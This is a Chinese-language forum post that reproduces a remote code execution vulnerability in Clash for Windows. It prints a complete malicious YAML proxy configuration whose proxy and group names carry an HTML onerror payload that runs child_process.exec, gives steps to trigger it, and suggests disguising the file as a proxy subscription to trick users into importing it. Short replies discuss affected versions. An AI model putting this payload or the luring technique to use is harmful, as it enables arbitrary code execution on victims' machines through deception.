clash存在的rce漏洞复现

thelion   ·   发表于 2022-03-01 16:27:13   ·   漏洞文章

Clash 是一个使用 Go 语言编写,基于规则的跨平台代理软件核心程序。 Clash for Windows 是目前在 Windows 上唯一可用的图形化 Clash 分支。 通过 Clash API 来配置和控制 Clash 核心程序,便于用户可视化操作和使用。作为一个比较好用的代理管理工具,clash服务了成千上万的用户。但是这个软件近期爆出存在远程代码执行漏洞,作为用户之一的我也是对其进行了复现,过程如下:
首先参考正常配置文件格式,构建出相应的poc(由于特殊原因,正常的配置文件不能被展示出来,见谅),并将其命名为test.yaml,如下:

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

然后打开clash for windows,进入profiles选项

点击import导入提前构造好的poc,

点击test.yaml将配置文件切换到poc这部分,再点击proxies,就会弹出计算器

这里可以将poc伪装成”机场”,”梯子”之类的配置文件,诱导用户下载配置使用,从而充分利用该漏洞。值得一提的是,目前该漏洞仅适用于Windows v0.19.9版本及以下,高版本无效,mac OS尚未测试。

用户名金币积分时间理由
Track-劲夫 70.00 0 2022-03-01 20:08:17 一个受益终生的帖子~~

打赏我,让我更有动力~

3 条回复   |  直到 2022-3-5 | 1483 次浏览

学kali的小白
发表于 2022-3-3

请问Windows v0.19.9版本及以下是什么版本,我用windows10和win7试了不管

评论列表

  • 加载数据中...

编写评论内容

学kali的小白
发表于 2022-3-4

注:目前发现的漏洞版本是0.15.2。

评论列表

  • 加载数据中...

编写评论内容

thelion
发表于 2022-3-5

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.